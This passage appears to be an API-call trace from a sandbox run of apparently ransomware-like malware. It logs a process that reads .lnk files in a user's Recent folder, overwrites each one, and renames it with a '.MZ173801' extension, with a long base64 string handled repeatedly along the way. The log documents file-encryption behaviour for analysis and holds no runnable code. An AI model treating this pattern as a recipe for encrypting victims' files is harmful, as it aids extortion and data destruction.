OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.158] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\efOXL6YxYxJb0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\efoxl6yxyxjb0.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.158] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.158] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.158] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x144e [0121.158] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.159] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x144e, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x144e, lpOverlapped=0x0) returned 1 [0121.159] CloseHandle (hObject=0x288) returned 1 [0121.160] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\efOXL6YxYxJb0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\efoxl6yxyxjb0.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.161] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x144e, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x144e, lpOverlapped=0x0) returned 1 [0121.162] CloseHandle (hObject=0x288) returned 1 [0121.165] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\efOXL6YxYxJb0.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\efoxl6yxyxjb0.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\efOXL6YxYxJb0.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\efoxl6yxyxjb0.lnk.mz173801")) returned 1 [0121.166] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee61220, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee61220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee61220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf2c, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="ERs66343C7ShFGA.lnk", cAlternateFileName="ERS663~1.LNK")) returned 1 [0121.167] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.167] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.167] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ERs66343C7ShFGA.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ers66343c7shfga.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdee61220, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdee61220, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdee61220, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf2c)) returned 1 [0121.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.168] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.170] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ERs66343C7ShFGA.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ers66343c7shfga.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.170] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.170] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.170] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xf2c [0121.170] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.170] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xf2c, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xf2c, lpOverlapped=0x0) returned 1 [0121.171] CloseHandle (hObject=0x288) returned 1 [0121.171] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ERs66343C7ShFGA.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ers66343c7shfga.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.172] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xf2c, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xf2c, lpOverlapped=0x0) returned 1 [0121.173] CloseHandle (hObject=0x288) returned 1 [0121.174] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ERs66343C7ShFGA.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ers66343c7shfga.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ERs66343C7ShFGA.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ers66343c7shfga.lnk.mz173801")) returned 1 [0121.175] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9fbd60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9fbd60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf9fbd60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x145d, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="e_nSEbfXaEVeTS.lnk", cAlternateFileName="E_NSEB~1.LNK")) returned 1 [0121.175] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.175] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.175] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e_nSEbfXaEVeTS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\e_nsebfxaevets.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9fbd60, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9fbd60, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf9fbd60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x145d)) returned 1 [0121.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.177] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4M